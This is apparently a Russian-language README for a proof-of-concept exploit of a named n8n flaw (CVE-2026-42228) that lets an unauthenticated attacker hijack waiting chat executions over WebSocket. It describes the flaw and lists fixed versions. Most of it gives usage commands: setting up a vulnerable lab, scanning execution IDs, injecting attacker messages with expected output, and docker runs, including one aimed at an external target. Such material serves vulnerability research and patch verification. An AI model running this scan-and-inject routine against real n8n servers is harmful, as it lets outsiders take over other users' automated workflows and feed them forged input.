
Эксплойт proof-of-concept для CVE-2026-42228 — уязвимости неаутентифицированного перехвата выполнения чата в n8n, с автоматизированными скриптами сканирования и атаки.
CVE: CVE-2026-42228
Серьёзность: Высокая
Затронуто: n8n < 1.123.32
Исправлено в: n8n 1.123.32 / 2.17.4 / 2.18.1
chat-service.ts :: startSession() принимает executionId из строки запроса
WebSocket и только проверяет, что выполнение существует в базе данных. Он никогда
не проверяет, авторизован ли вызывающий для доступа к этому выполнению.
Неаутентифицированный злоумышленник, который знает (или может перечислить) действительный числовой идентификатор выполнения для выполнения в состоянии ожидания, может:
/chat без учётных данных.Предварительные условия:
waiting.chmod +x exploit.sh
./exploit.sh setup
Это загружает n8nio/n8n:1.123.22 (последний затронутый релиз), собирает образ
злоумышленника и запускает уязвимую цель на http://localhost:5678.
http://localhost:5678 и завершите мастер настройки (любые учётные данные).Откройте публичный URL чата, показанный в узле Chat Trigger, и отправьте сообщение. Выполнение перейдёт в состояние waiting, приостановленное до следующего ответа в чате.
./exploit.sh scan
# или укажите диапазон:
./exploit.sh scan 1 500
Ожидаемый вывод при обнаружении уязвимого выполнения:
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# или с пользовательской полезной нагрузкой:
./exploit.sh attack 7 "custom injected message"
Вернувшись в редактор n8n, рабочий процесс возобновляется с внедрённым злоумышленником сообщением вместо ввода легитимного пользователя.
# Сборка образа злоумышленника
docker build -t n8n-chat-hijack-poc .
# Сканирование (подключение к общей лабораторной сети)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# Атака на конкретное выполнение
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# Против внешней цели (флаг сети не требуется)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
Останавливает контейнеры и удаляет тома (включая базу данных SQLite).
| Файл | Описание |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | Автономный Python PoC |
Dockerfile | Образ контейнера злоумышленника |
docker-compose.yml | Полная лаборатория: уязвимый n8n + злоумышленник |
exploit.sh | Вспомогательный скрипт для типовых операций |